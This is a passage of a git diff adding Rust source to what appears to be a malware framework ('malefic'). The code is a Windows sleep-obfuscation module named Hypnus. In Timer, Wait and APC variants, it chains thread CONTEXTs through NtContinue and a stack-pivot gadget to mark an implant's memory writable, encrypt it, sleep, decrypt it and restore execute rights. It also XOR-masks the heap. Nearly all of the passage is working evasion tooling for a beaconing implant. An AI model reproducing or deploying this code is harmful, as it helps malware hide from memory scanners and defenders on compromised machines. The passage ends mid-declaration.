TP_CALLBACK_ENVIRON_V3 { + Pool: pool, + ..Default::default() + }; + + // Capture the current thread context via trampoline + let mut timer_ctx = null_mut(); + let mut ctx_init = CONTEXT { + ContextFlags: CONTEXT_FULL, + P1Home: self.cfg.rtl_capture_context.as_u64(), + ..Default::default() + }; + + status = TpAllocTimer( + &mut timer_ctx, + self.cfg.trampoline as *mut c_void, + &mut ctx_init as *mut _ as *mut c_void, + &mut env, + ); + if !nt_success(status) { + bail!(s!("TpAllocTimer [RtlCaptureContext] Failed").to_string()); + } + + let mut delay = zeroed::(); + delay.QuadPart = -(100i64 * 10_000); + TpSetTimer(timer_ctx, &mut delay, 0, 0); + + // Signal after RtlCaptureContext finishes + let mut timer_event = null_mut(); + status = TpAllocTimer( + &mut timer_event, + NtSetEvent2 as *mut c_void, + events[0], + &mut env, + ); + if !nt_success(status) { + bail!(s!("TpAllocTimer [NtSetEvent] Failed").to_string()); + } + + delay.QuadPart = -(200i64 * 10_000); + TpSetTimer(timer_event, &mut delay, 0, 0); + + // Wait for context capture + status = NtWaitForSingleObject(events[0], 0, null_mut()); + if !nt_success(status) { + bail!(s!("NtWaitForSingleObject Failed").to_string()); + } + + // Build 7-step CONTEXT chain + let mut ctxs = [ctx_init; 7]; + for ctx in &mut ctxs { + ctx.Rax = self.cfg.nt_continue.as_u64(); + // Rbp must point at [ctx_init.Rsp - 8] where the threadpool + // dispatch return address lives (pushed by the threadpool's `call`). + // RtlCaptureContext stores Rsp+8 (accounting for ret addr), so + // ctx.Rsp - 8 = the position of the threadpool's return address. + ctx.Rbp = ctx.Rsp - 8; + // Move Rsp down to avoid conflicts with the worker thread's stack + ctx.Rsp = (ctx.Rsp - 0x1000 * 5) & !0xF; // align to 16 bytes + // Write gadget_rbp (mov rsp, rbp; ret) as return address at [Rsp] + (ctx.Rsp as *mut u64).write(self.cfg.gadget_rbp); + } + + // Duplicate thread handle + let mut h_thread = null_mut(); + status = NtDuplicateObject( + nt_current_process(), + nt_current_thread(), + nt_current_process(), + &mut h_thread, + 0, + 0, + DUPLICATE_SAME_ACCESS, + ); + if !nt_success(status) { + bail!(s!("NtDuplicateObject Failed").to_string()); + } + + // Step 0: Wait for signal + ctxs[0].Rip = self.cfg.nt_wait_for_single.into(); + ctxs[0].Rcx = events[1] as u64; + ctxs[0].Rdx = 0; + ctxs[0].R8 = 0; + + // Step 1: VirtualProtect → RW + let mut old_protect = 0u32; + let (mut base, mut size) = (self.base, self.size); + ctxs[1].Rip = self.cfg.nt_protect_virtual_memory.into(); + ctxs[1].Rcx = nt_current_process() as u64; + ctxs[1].Rdx = (&mut base as *mut u64) as u64; + ctxs[1].R8 = (&mut size as *mut u64) as u64; + ctxs[1].R9 = PAGE_READWRITE as u64; + + // Step 2: Encrypt (SystemFunction040 takes value params, not pointers) + ctxs[2].Rip = self.cfg.system_function040.into(); + ctxs[2].Rcx = self.base; + ctxs[2].Rdx = self.size; + ctxs[2].R8 = 0; + + // Step 3: Sleep (WaitForSingleObject with timeout) + ctxs[3].Rip = self.cfg.wait_for_single.into(); + ctxs[3].Rcx = h_thread as u64; + ctxs[3].Rdx = self.time; + ctxs[3].R8 = 0; + + // Step 4: Decrypt (SystemFunction041 takes value params, not pointers) + ctxs[4].Rip = self.cfg.system_function041.into(); + ctxs[4].Rcx = self.base; + ctxs[4].Rdx = self.size; + ctxs[4].R8 = 0; + + // Step 5: VirtualProtect → restore + ctxs[5].Rip = self.cfg.nt_protect_virtual_memory.into(); + ctxs[5].Rcx = nt_current_process() as u64; + ctxs[5].Rdx = base.as_u64(); + ctxs[5].R8 = size.as_u64(); + ctxs[5].R9 = protection; + + // Step 6: Signal completion + ctxs[6].Rip = self.cfg.nt_set_event.into(); + ctxs[6].Rcx = events[2] as u64; + ctxs[6].Rdx = 0; + + // Patch old_protect into the 5th argument slot (Rsp+0x28) for NtProtectVirtualMemory + ((ctxs[1].Rsp + 0x28) as *mut u64).write(old_protect.as_u64()); + ((ctxs[5].Rsp + 0x28) as *mut u64).write(old_protect.as_u64()); + + // Schedule each CONTEXT via TpSetTimer + for ctx in &mut ctxs { + let mut timer = null_mut(); + status = TpAllocTimer( + &mut timer, + self.cfg.callback as *mut c_void, + ctx as *mut _ as *mut c_void, + &mut env, + ); + if !nt_success(status) { + bail!(s!("TpAllocTimer Failed").to_string()); + } + delay.QuadPart += -(100_i64 * 10_000); + TpSetTimer(timer, &mut delay, 0, 0); + } + + // Optional heap encryption + let key = if heap { + let key = core::arch::x86_64::_rdtsc().to_le_bytes(); + obfuscate_heap(&key); + Some(key) + } else { + None + }; + + // Wait for chain completion + status = NtSignalAndWaitForSingleObject(events[1], events[2], 0, null_mut()); + if !nt_success(status) { + bail!(s!("NtSignalAndWaitForSingleObject Failed").to_string()); + } + + // Undo heap encryption + if let Some(key) = key { + obfuscate_heap(&key); + } + + // Cleanup + NtClose(h_thread); + CloseThreadpool(pool); + for h in &events { + NtClose(*h); + } + + Ok(()) + } + } + + /// Wait strategy: uses TpSetWait to drive the 7-step CONTEXT chain. + fn wait(&mut self) -> Result<()> { + unsafe { + let heap = self.mode.contains(ObfMode::Heap); + let protection = if self.mode.contains(ObfMode::Rwx) { + PAGE_EXECUTE_READWRITE + } else { + PAGE_EXECUTE_READ + }; + + // Create 4 synchronization events + let mut events = [null_mut(); 4]; + for event in &mut events { + let status = NtCreateEvent( + event, + EVENT_ALL_ACCESS, + null_mut(), + EVENT_TYPE::NotificationEvent, + 0, + ); + if !nt_success(status) { + bail!(s!("NtCreateEvent Failed").to_string()); + } + } + + // Allocate thread pool + let mut pool = null_mut(); + let mut status = TpAllocPool(&mut pool, null_mut()); + if !nt_success(status) { + bail!(s!("TpAllocPool Failed").to_string()); + } + + let mut stack = TP_POOL_STACK_INFORMATION { + StackCommit: 0x80000, + StackReserve: 0x80000, + }; + status = TpSetPoolStackInformation(pool, &mut stack); + if !nt_success(status) { + bail!(s!("TpSetPoolStackInformation Failed").to_string()); + } + + TpSetPoolMinThreads(pool, 1); + TpSetPoolMaxThreads(pool, 1); + + let mut env = TP_CALLBACK_ENVIRON_V3 { + Pool: pool, + ..Default::default() + }; + + // Capture context via trampoline + let mut wait_ctx = null_mut(); + let mut ctx_init = CONTEXT { + ContextFlags: CONTEXT_FULL, + P1Home: self.cfg.rtl_capture_context.as_u64(), + ..Default::default() + }; + + status = TpAllocWait( + &mut wait_ctx, + self.cfg.trampoline as *mut c_void, + &mut ctx_init as *mut _ as *mut c_void, + &mut env, + ); + if !nt_success(status) { + bail!(s!("TpAllocWait [RtlCaptureContext] Failed").to_string()); + } + + let mut delay = zeroed::(); + delay.QuadPart = -(100i64 * 10_000); + TpSetWait(wait_ctx, events[0], &mut delay); + + // Signal after context capture + let mut wait_event = null_mut(); + status = TpAllocWait( + &mut wait_event, + NtSetEvent2 as *mut c_void, + events[1], + &mut env, + ); + if !nt_success(status) { + bail!(s!("TpAllocWait [NtSetEvent] Failed").to_string()); + } + + delay.QuadPart = -(200i64 * 10_000); + TpSetWait(wait_event, events[0], &mut delay); + + // Wait for context capture + status = NtWaitForSingleObject(events[1], 0, null_mut()); + if !nt_success(status) { + bail!(s!("NtWaitForSingleObject Failed").to_string()); + } + + // Build 7-step CONTEXT chain + let mut ctxs = [ctx_init; 7]; + for ctx in &mut ctxs { + ctx.Rax = self.cfg.nt_continue.as_u64(); + // Rbp must point at [ctx_init.Rsp - 8] where the threadpool + // dispatch return address lives + ctx.Rbp = ctx.Rsp - 8; + // Move Rsp down to avoid conflicts with the worker thread's stack + ctx.Rsp = (ctx.Rsp - 0x1000 * 5) & !0xF; // align to 16 bytes + // Write gadget_rbp (mov rsp, rbp; ret) as return address at [Rsp] + (ctx.Rsp as *mut u64).write(self.cfg.gadget_rbp); + } + + // Duplicate thread handle + let mut h_thread = null_mut(); + status = NtDuplicateObject( + nt_current_process(), + nt_current_thread(), + nt_current_process(), + &mut h_thread, + 0, + 0, + DUPLICATE_SAME_ACCESS, + ); + if !nt_success(status) { + bail!(s!("NtDuplicateObject Failed").to_string()); + } + + // Step 0: Wait for signal + ctxs[0].Rip = self.cfg.nt_wait_for_single.into(); + ctxs[0].Rcx = events[2] as u64; + ctxs[0].Rdx = 0; + ctxs[0].R8 = 0; + + // Step 1: VirtualProtect → RW + let mut old_protect = 0u32; + let (mut base, mut size) = (self.base, self.size); + ctxs[1].Rip = self.cfg.nt_protect_virtual_memory.into(); + ctxs[1].Rcx = nt_current_process() as u64; + ctxs[1].Rdx = (&mut base as *mut u64) as u64; + ctxs[1].R8 = (&mut size as *mut u64) as u64; + ctxs[1].R9 = PAGE_READWRITE as u64; + + // Step 2: Encrypt (SystemFunction040 takes value params, not pointers) + ctxs[2].Rip = self.cfg.system_function040.into(); + ctxs[2].Rcx = self.base; + ctxs[2].Rdx = self.size; + ctxs[2].R8 = 0; + + // Step 3: Sleep + ctxs[3].Rip = self.cfg.wait_for_single.into(); + ctxs[3].Rcx = h_thread as u64; + ctxs[3].Rdx = self.time; + ctxs[3].R8 = 0; + + // Step 4: Decrypt (SystemFunction041 takes value params, not pointers) + ctxs[4].Rip = self.cfg.system_function041.into(); + ctxs[4].Rcx = self.base; + ctxs[4].Rdx = self.size; + ctxs[4].R8 = 0; + + // Step 5: VirtualProtect → restore + ctxs[5].Rip = self.cfg.nt_protect_virtual_memory.into(); + ctxs[5].Rcx = nt_current_process() as u64; + ctxs[5].Rdx = base.as_u64(); + ctxs[5].R8 = size.as_u64(); + ctxs[5].R9 = protection; + + // Step 6: Signal completion + ctxs[6].Rip = self.cfg.nt_set_event.into(); + ctxs[6].Rcx = events[3] as u64; + ctxs[6].Rdx = 0; + + // Patch old_protect + ((ctxs[1].Rsp + 0x28) as *mut u64).write(old_protect.as_u64()); + ((ctxs[5].Rsp + 0x28) as *mut u64).write(old_protect.as_u64()); + + // Schedule each CONTEXT via TpAllocWait + for ctx in &mut ctxs { + let mut w = null_mut(); + status = TpAllocWait( + &mut w, + self.cfg.callback as *mut c_void, + ctx as *mut _ as *mut c_void, + &mut env, + ); + if !nt_success(status) { + bail!(s!("TpAllocWait Failed").to_string()); + } + delay.QuadPart += -(100_i64 * 10_000); + TpSetWait(w, events[0], &mut delay); + } + + // Optional heap encryption + let key = if heap { + let key = core::arch::x86_64::_rdtsc().to_le_bytes(); + obfuscate_heap(&key); + Some(key) + } else { + None + }; + + // Wait for chain completion + status = NtSignalAndWaitForSingleObject(events[2], events[3], 0, null_mut()); + if !nt_success(status) { + bail!(s!("NtSignalAndWaitForSingleObject Failed").to_string()); + } + + if let Some(key) = key { + obfuscate_heap(&key); + } + + // Cleanup + NtClose(h_thread); + CloseThreadpool(pool); + for h in &events { + NtClose(*h); + } + + Ok(()) + } + } + + /// Foliage (APC) strategy: uses NtQueueApcThread to drive the 7-step CONTEXT chain. + fn foliage(&mut self) -> Result<()> { + unsafe { + let heap = self.mode.contains(ObfMode::Heap); + let protection = if self.mode.contains(ObfMode::Rwx) { + PAGE_EXECUTE_READWRITE + } else { + PAGE_EXECUTE_READ + }; + + // Create synchronization event + let mut event = null_mut(); + let mut status = NtCreateEvent( + &mut event, + EVENT_ALL_ACCESS, + null_mut(), + EVENT_TYPE::SynchronizationEvent, + 0, + ); + if !nt_success(status) { + bail!(s!("NtCreateEvent Failed").to_string()); + } + + // Create suspended thread for APC injection + let mut h_thread = null_mut(); + status = NtCreateThreadEx( + &mut h_thread, + THREAD_ALL_ACCESS, + null_mut(), + nt_current_process(), + self.cfg.rtl_exit_user_thread.as_mut_ptr(), + null_mut(), + 1, // CREATE_SUSPENDED + 0, + 0x1000 * 20, + 0x1000 * 20, + null_mut(), + ); + if !nt_success(status) { + bail!(s!("NtCreateThreadEx Failed").to_string()); + } + + // Get initial context of suspended thread via NtGetContextThread + let nt_get_context_thread: unsafe extern "system" fn(HANDLE, *mut CONTEXT) -> NTSTATUS = + core::mem::transmute(m_get_proc_address( + m_load_library_a(s!("ntdll.dll\0").as_ptr()), + s!("NtGetContextThread\0").as_ptr(), + )); + + let mut ctx_init = CONTEXT { + ContextFlags: CONTEXT_FULL, + ..Default::default() + }; + status = nt_get_context_thread(h_thread, &mut ctx_init); + if !nt_success(status) { + bail!(s!("NtGetContextThread Failed").to_string()); + } + + // Build 7-step CONTEXT chain + let mut ctxs = [ctx_init; 7]; + + // Duplicate the current thread handle for WaitForSingleObject + let mut thread = null_mut(); + status = NtDuplicateObject( + nt_current_process(), + nt_current_thread(), + nt_current_process(), + &mut thread, + 0, + 0, + DUPLICATE_SAME_ACCESS, + ); + if !nt_success(status) { + bail!(s!("NtDuplicateObject Failed").to_string()); + } + + // For foliage (APC), write NtTestAlert at [Rsp] so after each step + // returns, it triggers the next queued APC + for ctx in ctxs.iter_mut() { + // Write NtTestAlert as return address for APC chaining + (ctx.Rsp as *mut u64).write(self.cfg.nt_test_alert.into()); + } + + // Step 0: Wait for signal + ctxs[0].Rip = self.cfg.nt_wait_for_single.into(); + ctxs[0].Rcx = event as u64; + ctxs[0].Rdx = 0; + ctxs[0].R8 = 0; + + // Step 1: VirtualProtect → RW + let mut old_protect = 0u32; + let (mut base, mut size) = (self.base, self.size); + ctxs[1].Rip = self.cfg.nt_protect_virtual_memory.into(); + ctxs[1].Rcx = nt_current_process() as u64; + ctxs[1].Rdx = (&mut base as *mut u64) as u64; + ctxs[1].R8 = (&mut size as *mut u64) as u64; + ctxs[1].R9 = PAGE_READWRITE as u64; + + // Step 2: Encrypt (SystemFunction040 takes value params, not pointers) + ctxs[2].Rip = self.cfg.system_function040.into(); + ctxs[2].Rcx = self.base; + ctxs[2].Rdx = self.size; + ctxs[2].R8 = 0; + + // Step 3: Sleep + ctxs[3].Rip = self.cfg.wait_for_single.into(); + ctxs[3].Rcx = thread as u64; + ctxs[3].Rdx = self.time; + ctxs[3].R8 = 0; + + // Step 4: Decrypt (SystemFunction041 takes value params, not pointers) + ctxs[4].Rip = self.cfg.system_function041.into(); + ctxs[4].Rcx = self.base; + ctxs[4].Rdx = self.size; + ctxs[4].R8 = 0; + + // Step 5: VirtualProtect → restore + ctxs[5].Rip = self.cfg.nt_protect_virtual_memory.into(); + ctxs[5].Rcx = nt_current_process() as u64; + ctxs[5].Rdx = base.as_u64(); + ctxs[5].R8 = size.as_u64(); + ctxs[5].R9 = protection; + + // Step 6: Exit the helper thread + ctxs[6].Rip = self.cfg.rtl_exit_user_thread.into(); + ctxs[6].Rcx = 0; + ctxs[6].Rdx = 0; + + // Patch old_protect + ((ctxs[1].Rsp + 0x28) as *mut u64).write(old_protect.as_u64()); + ((ctxs[5].Rsp + 0x28) as *mut u64).write(old_protect.as_u64()); + + // Queue each CONTEXT as an APC + for ctx in &mut ctxs { + status = NtQueueApcThread( + h_thread, + self.cfg.nt_continue.as_ptr() as *mut c_void, + ctx as *mut _ as *mut c_void, + null_mut(), + null_mut(), + ); + if !nt_success(status) { + bail!(s!("NtQueueApcThread Failed").to_string()); + } + } + + // Resume the thread to trigger APC chain + status = NtAlertResumeThread(h_thread, null_mut()); + if !nt_success(status) { + bail!(s!("NtAlertResumeThread Failed").to_string()); + } + + // Optional heap encryption + let key = if heap { + let key = core::arch::x86_64::_rdtsc().to_le_bytes(); + obfuscate_heap(&key); + Some(key) + } else { + None + }; + + // Wait until the helper thread finishes + status = NtSignalAndWaitForSingleObject(event, h_thread, 0, null_mut()); + if !nt_success(status) { + bail!(s!("NtSignalAndWaitForSingleObject Failed").to_string()); + } + + if let Some(key) = key { + obfuscate_heap(&key); + } + + // Cleanup + NtClose(event); + NtClose(h_thread); + NtClose(thread); + + Ok(()) + } + } +} + +// ── Public entry point ─────────────────────────────────────────────── + +#[doc(hidden)] +pub mod __private { + use super::*; + + /// Entry point: creates a fiber, runs the selected obfuscation strategy inside it. + /// `time` is in **seconds**. + pub fn hypnus_entry(base: *mut c_void, size: u64, time: u64, obf: Obfuscation, mode: ObfMode) { + hypnus_entry_ms(base, size, time.saturating_mul(1000), obf, mode) + } + + /// Like [`hypnus_entry`] but `time_ms` is in **milliseconds**. + pub fn hypnus_entry_ms( + base: *mut c_void, + size: u64, + time_ms: u64, + obf: Obfuscation, + mode: ObfMode, + ) { + let master = ConvertThreadToFiber(null_mut()); + if master.is_null() { + return; + } + + match Hypnus::new_from_ms(base as u64, size, time_ms, mode) { + Ok(hypnus) => { + let fiber_ctx = Box::new(FiberContext { + hypnus: Box::new(hypnus), + obf, + master, + }); + + let fiber = CreateFiber( + 0x100000, + Some(hypnus_fiber), + Box::into_raw(fiber_ctx).cast(), + ); + + if fiber.is_null() { + ConvertFiberToThread(); + return; + } + + SwitchToFiber(fiber); + DeleteFiber(fiber); + ConvertFiberToThread(); + } + Err(_error) => { + #[cfg(debug_assertions)] + eprintln!("[Hypnus::new] {:?}", _error); + ConvertFiberToThread(); + } + } + } + + struct FiberContext { + hypnus: Box, + obf: Obfuscation, + master: *mut c_void, + } + + extern "system" fn hypnus_fiber(ctx: *mut c_void) { + unsafe { + let mut ctx = Box::from_raw(ctx as *mut FiberContext); + let _result = match ctx.obf { + Obfuscation::Timer => ctx.hypnus.timer(), + Obfuscation::Wait => ctx.hypnus.wait(), + Obfuscation::Foliage => ctx.hypnus.foliage(), + }; + + #[cfg(debug_assertions)] + if let Err(_error) = _result { + eprintln!("[Hypnus] {:?}", _error); + } + + SwitchToFiber(ctx.master); + } + } +} + +// ── Helpers ────────────────────────────────────────────────────────── + +use crate::kit::apis::{m_get_proc_address, m_load_library_a}; + +/// Walks the HypnusHeap private heap and XOR-encrypts/decrypts allocated entries. +fn obfuscate_heap(key: &[u8; 8]) { + let heap = crate::sleep::allocator::HypnusHeap::get(); + if heap.is_null() { + return; + } + + let mut entry = unsafe { zeroed::() }; + loop { + let status = RtlWalkHeap(heap, &mut entry); + if status != 0 { + break; // RtlWalkHeap returns 0 on success (found entry), non-zero when done + } + // Flag 0x01 = RTL_HEAP_BUSY (allocated block) + if entry.Flags & 1 != 0 { + xor(entry.DataAddress as *mut u8, entry.DataSize, key); + } + } +} + +/// XOR a memory region with a repeating 8-byte key. +fn xor(data: *mut u8, len: usize, key: &[u8; 8]) { + if data.is_null() { + return; + } + for i in 0..len { + unsafe { + *data.add(i) ^= key[i % key.len()]; + } + } +} + +trait Asu64 { + fn as_u64(&mut self) -> u64; +} + +impl Asu64 for T { + fn as_u64(&mut self) -> u64 { + self as *mut _ as *mut c_void as u64 + } +} diff --git a/malefic-crates/win/src/sleep/mod.rs b/malefic-crates/win/src/sleep/mod.rs new file mode 100644 index 0000000..b116cff --- /dev/null +++ b/malefic-crates/win/src/sleep/mod.rs @@ -0,0 +1,41 @@ +#![allow(non_snake_case, non_camel_case_types, non_upper_case_globals)] + +pub mod allocator; +pub mod config; +pub mod hypnus; +pub mod types; +pub mod winapis; + +pub use allocator::HypnusHeap; +pub use hypnus::{ObfMode, Obfuscation}; + +/// Obfuscated sleep: encrypts `(base, size)` region during sleep, decrypts after. +/// +/// # Arguments +/// - `base`: Pointer to the memory region to protect +/// - `size`: Size of the memory region in bytes +/// - `time`: Delay in seconds +/// - `obf`: Obfuscation strategy (Timer, Wait, or Foliage) +/// - `mode`: Obfuscation mode flags (Rwx, Heap, or both) +pub fn obf_sleep( + base: *mut core::ffi::c_void, + size: u64, + time: u64, + obf: Obfuscation, + mode: ObfMode, +) { + hypnus::__private::hypnus_entry(base, size, time, obf, mode) +} + +/// Like [`obf_sleep`] but accepts the delay in **milliseconds** instead of seconds. +/// +/// This avoids precision loss when the heartbeat interval has a sub-second component. +pub fn obf_sleep_ms( + base: *mut core::ffi::c_void, + size: u64, + time_ms: u64, + obf: Obfuscation, + mode: ObfMode, +) { + hypnus::__private::hypnus_entry_ms(base, size, time_ms, obf, mode) +} diff --git a/malefic-crates/win/src/sleep/types.rs b/malefic-crates/win/src/sleep/types.rs new file mode 100644 index 0000000..ba060a5 --- /dev/null +++ b/malefic-crates/win/src/sleep/types.rs @@ -0,0 +1,425 @@ +#![allow( + non_snake_case, + non_camel_case_types, + non_upper_case_globals, + dead_code +)] + +use core::ffi::c_void; +use core::ptr::null_mut; + +// ── Constants ──────────────────────────────────────────────────────── + +pub const PAGE_READWRITE: u32 = 0x04; +pub const PAGE_EXECUTE_READ: u64 = 0x20; +pub const PAGE_EXECUTE_READWRITE: u64 = 0x40; +pub const MEM_COMMIT: u32 = 0x00001000; +pub const MEM_RESERVE: u32 = 0x00002000; +pub const CONTEXT_FULL: u32 = 0x00010007; +pub const THREAD_ALL_ACCESS: u32 = 0x001F03FF; +pub const DUPLICATE_SAME_ACCESS: u32 = 0x00000002; +pub const VM_LOCK_1: u32 = 0x0001; + +pub const EVENT_ALL_ACCESS: u32 = 0x001F0003; + +pub const HEAP_GROWABLE: u32 = 0x00000002; + +// ── Basic Windows types ────────────────────────────────────────────── + +pub type NTSTATUS = i32; +pub type HANDLE = *mut c_void; + +pub const STATUS_UNSUCCESSFUL: NTSTATUS = -1_073_741_823i32; // 0xC0000001 + +#[repr(C)] +#[derive(Clone, Copy, Default)] +pub struct LARGE_INTEGER { + pub QuadPart: i64, +} + +#[repr(C)] +#[derive(Clone, Copy)] +pub enum EVENT_TYPE { + SynchronizationEvent = 0, + NotificationEvent = 1, +} + +// ── Utility functions ──────────────────────────────────────────────── + +#[inline] +pub fn nt_current_process() -> HANDLE { + -1isize as *mut c_void +} + +#[inline] +pub fn nt_current_thread() -> HANDLE { + -2isize as *mut c_void +} + +#[inline] +pub fn nt_success(status: NTSTATUS) -> bool { + status >= 0 +} + +// ── CONTEXT (x86_64 Windows ABI) ──────────────────────────────────── +// +// Must be exactly 1232 bytes with 16-byte alignment. +// Layout matches the Windows AMD64 CONTEXT structure. + +#[repr(C, align(16))] +#[derive(Clone, Copy)] +pub struct CONTEXT { + // Register parameter home addresses + pub P1Home: u64, + pub P2Home: u64, + pub P3Home: u64, + pub P4Home: u64, + pub P5Home: u64, + pub P6Home: u64, + + // Control flags + pub ContextFlags: u32, + pub MxCsr: u32, + + // Segment registers + pub SegCs: u16, + pub SegDs: u16, + pub SegEs: u16, + pub SegFs: u16, + pub SegGs: u16, + pub SegSs: u16, + pub EFlags: u32, + + // Debug registers + pub Dr0: u64, + pub Dr1: u64, + pub Dr2: u64, + pub Dr3: u64, + pub Dr6: u64, + pub Dr7: u64, + + // Integer registers + pub Rax: u64, + pub Rcx: u64, + pub Rdx: u64, + pub Rbx: u64, + pub Rsp: u64, + pub Rbp: u64, + pub Rsi: u64, + pub Rdi: u64, + pub R8: u64, + pub R9: u64, + pub R10: u64, + pub R11: u64, + pub R12: u64, + pub R13: u64, + pub R14: u64, + pub R15: u64, + + // Program counter + pub Rip: u64, + + // Floating point / XSAVE area (512 bytes) + pub FltSave: XSAVE_FORMAT, + + // Vector registers (26 x M128A = 416 bytes) + pub VectorRegister: [M128A; 26], + pub VectorControl: u64, + + // Special debug control registers + pub DebugControl: u64, + pub LastBranchToRip: u64, + pub LastBranchFromRip: u64, + pub LastExceptionToRip: u64, + pub LastExceptionFromRip: u64, +} + +// Verify the size at compile time +const _: () = assert!(core::mem::size_of::() == 1232); + +impl Default for CONTEXT { + fn default() -> Self { + unsafe { core::mem::zeroed() } + } +} + +#[repr(C, align(16))] +#[derive(Clone, Copy)] +pub struct M128A { + pub Low: u64, + pub High: i64, +} + +impl Default for M128A { + fn default() -> Self { + unsafe { core::mem::zeroed() } + } +} + +#[repr(C, align(16))] +#[derive(Clone, Copy)] +pub struct XSAVE_FORMAT { + pub ControlWord: u16, + pub StatusWord: u16, + pub TagWord: u8, + pub Reserved1: u8, + pub ErrorOpcode: u16, + pub ErrorOffset: u32, + pub ErrorSelector: u16, + pub Reserved2: u16, + pub DataOffset: u32, + pub DataSelector: u16, + pub Reserved3: u16, + pub MxCsr: u32, + pub MxCsr_Mask: u32, + pub FloatRegisters: [M128A; 8], + pub XmmRegisters: [M128A; 16], + pub Reserved4: [u8; 96], +} + +impl Default for XSAVE_FORMAT { + fn default() -> Self { + unsafe { core::mem::zeroed() } + } +} + +// ── Thread Pool structures ─────────────────────────────────────────── + +#[repr(C)] +#[derive(Clone, Copy)] +pub struct TP_CALLBACK_ENVIRON_V3 { + pub Version: u32, + pub Pool: *mut c_void, + pub CleanupGroup: *mut c_void, + pub CleanupGroupCancelCallback: *mut c_void, + pub RaceDll: *mut c_void, + pub ActivationContext: isize, + pub FinalizationCallback: *mut c_void, + pub u: TP_CALLBACK_ENVIRON_V3_0, + pub CallbackPriority: i32, + pub Size: u32, +} + +impl Default for TP_CALLBACK_ENVIRON_V3 { + fn default() -> Self { + Self { + Version: 3, + Pool: null_mut(), + CleanupGroup: null_mut(), + CleanupGroupCancelCallback: null_mut(), + RaceDll: null_mut(), + ActivationContext: 0, + FinalizationCallback: null_mut(), + u: TP_CALLBACK_ENVIRON_V3_0 { Flags: 0 }, + CallbackPriority: 1, + Size: core::mem::size_of::() as u32, + } + } +} + +#[repr(C)] +#[derive(Clone, Copy)] +pub union TP_CALLBACK_ENVIRON_V3_0 { + pub Flags: u32, + pub s: TP_CALLBACK_ENVIRON_V3_0_0, +} + +#[repr(C)] +#[derive(Clone, Copy)] +pub struct TP_CALLBACK_ENVIRON_V3_0_0 { + pub _bitfield: u32, +} + +#[repr(C)] +#[derive(Default, Clone, Copy)] +pub struct TP_POOL_STACK_INFORMATION { + pub StackReserve: usize, + pub StackCommit: usize, +} + +// ── Heap walking structures ────────────────────────────────────────── + +#[repr(C)] +#[derive(Clone, Copy)] +pub struct RTL_HEAP_WALK_ENTRY { + pub DataAddress: *mut c_void, + pub DataSize: usize, + pub OverheadBytes: u8, + pub SegmentIndex: u8, + pub Flags: u16, + pub Anonymous: RTL_HEAP_WALK_ENTRY_0, +} + +#[repr(C)] +#[derive(Clone, Copy)] +pub union RTL_HEAP_WALK_ENTRY_0 { + pub Block: RTL_HEAP_WALK_ENTRY_0_0, + pub Segment: RTL_HEAP_WALK_ENTRY_0_0_0, +} + +#[repr(C)] +#[derive(Clone, Copy)] +pub struct RTL_HEAP_WALK_ENTRY_0_0 { + pub Settable: usize, + pub TagIndex: u16, + pub AllocatorBackTraceIndex: u16, + pub Reserved: [u16; 2], +} + +#[repr(C)] +#[derive(Clone, Copy)] +pub struct RTL_HEAP_WALK_ENTRY_0_0_0 { + pub CommittedSize: u32, + pub UnCommittedSize: u32, + pub FirstEntry: *mut c_void, + pub LastEntry: *mut c_void, +} + +// ── Function pointer types ─────────────────────────────────────────── + +pub type LPFIBER_START_ROUTINE = Option; + +pub type ConvertThreadToFiberFn = + unsafe extern "system" fn(lpParameter: *mut c_void) -> *mut c_void; +pub type ConvertFiberToThreadFn = unsafe extern "system" fn() -> i32; +pub type SwitchToFiberFn = unsafe extern "system" fn(lpFiber: *mut c_void); +pub type DeleteFiberFn = unsafe extern "system" fn(lpFiber: *mut c_void); +pub type CreateFiberFn = unsafe extern "system" fn( + dwStackSize: usize, + lpStartAddress: LPFIBER_START_ROUTINE, + lpParameter: *const c_void, +) -> *mut c_void; + +pub type CloseThreadpoolFn = unsafe extern "system" fn(Pool: *mut c_void) -> NTSTATUS; + +pub type TpAllocPoolFn = + unsafe extern "system" fn(PoolReturn: *mut *mut c_void, Reserved: *mut c_void) -> NTSTATUS; + +pub type TpSetPoolMaxThreadsFn = unsafe extern "system" fn(Pool: *mut c_void, MaxThreads: u32); + +pub type TpSetPoolMinThreadsFn = + unsafe extern "system" fn(Pool: *mut c_void, MinThreads: u32) -> NTSTATUS; + +pub type TpSetWaitFn = + unsafe extern "system" fn(Wait: *mut c_void, Handle: *mut c_void, Timeout: *mut LARGE_INTEGER); + +pub type TpAllocFn = unsafe extern "system" fn( + Timer: *mut *mut c_void, + Callback: *mut c_void, + Context: *mut c_void, + CallbackEnviron: *mut TP_CALLBACK_ENVIRON_V3, +) -> NTSTATUS; + +pub type TpSetPoolStackInformationFn = unsafe extern "system" fn( + Pool: *mut c_void, + PoolStackInformation: *mut TP_POOL_STACK_INFORMATION, +) -> NTSTATUS; + +pub type TpSetTimerFn = unsafe extern "system" fn( + Timer: *mut c_void, + DueTime: *mut LARGE_INTEGER, + Period: u32, + WindowLength: u32, +); + +pub type NtCloseFn = unsafe extern "system" fn(Handle: HANDLE) -> NTSTATUS; + +pub type NtSetEventFn = + unsafe extern "system" fn(hEvent: *mut c_void, PreviousState: *mut i32) -> NTSTATUS; + +pub type NtCreateEventFn = unsafe extern "system" fn( + EventHandle: *mut HANDLE, + DesiredAccess: u32, + ObjectAttributes: *mut c_void, + EventType: EVENT_TYPE, + InitialState: u8, +) -> NTSTATUS; + +pub type NtWaitForSingleObjectFn = + unsafe extern "system" fn(Handle: HANDLE, Alertable: u8, Timeout: *mut i32) -> NTSTATUS; + +pub type NtSignalAndWaitForSingleObjectFn = unsafe extern "system" fn( + SignalHandle: HANDLE, + WaitHandle: HANDLE, + Alertable: u8, + Timeout: *mut LARGE_INTEGER, +) -> NTSTATUS; + +pub type NtAlertResumeThreadFn = + unsafe extern "system" fn(ThreadHandle: HANDLE, PreviousSuspendCount: *mut u32) -> NTSTATUS; + +pub type NtQueueApcThreadFn = unsafe extern "system" fn( + ThreadHandle: HANDLE, + ApcRoutine: *mut c_void, + ApcArgument1: *mut c_void, + ApcArgument2: *mut c_void, + ApcArgument3: *mut c_void, +) -> NTSTATUS; + +pub type NtDuplicateObjectFn = unsafe extern "system" fn( + SourceProcessHandle: HANDLE, + SourceHandle: HANDLE, + TargetProcessHandle: HANDLE, + TargetHandle: *mut HANDLE, + DesiredAccess: u32, + HandleAttributes: u32, + Options: u32, +) -> NTSTATUS; + +pub type NtLockVirtualMemoryFn = unsafe extern "system" fn( + ProcessHandle: HANDLE, + BaseAddress: *mut *mut c_void, + RegionSize: *mut usize, + 